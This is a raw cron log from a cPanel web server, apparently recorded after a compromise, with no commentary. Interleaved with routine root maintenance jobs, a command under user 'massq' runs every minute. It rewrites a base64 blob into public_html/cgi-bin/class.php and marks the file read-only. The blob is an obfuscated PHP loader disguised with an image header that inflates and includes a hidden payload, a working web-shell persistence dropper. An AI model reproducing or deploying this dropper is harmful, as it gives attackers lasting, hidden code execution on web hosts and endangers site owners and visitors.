Nov 10 23:02:01 server CROND[6250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:03:01 server CROND[7050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:04:01 server CROND[7795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:05:01 server CROND[8336]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 23:05:01 server CROND[8337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:05:02 server CROND[8339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:05:02 server CROND[8340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 23:05:02 server CROND[8341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:06:01 server CROND[9491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:07:01 server CROND[10313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:08:01 server CROND[11161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:09:01 server CROND[11983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:09:01 server CROND[11984]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 23:10:01 server CROND[12796]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:10:01 server CROND[12795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:10:01 server CROND[12798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:10:01 server CROND[12797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:11:01 server CROND[13746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:12:01 server CROND[14563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:12:01 server CROND[14564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 23:13:01 server CROND[15369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:14:01 server CROND[16155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
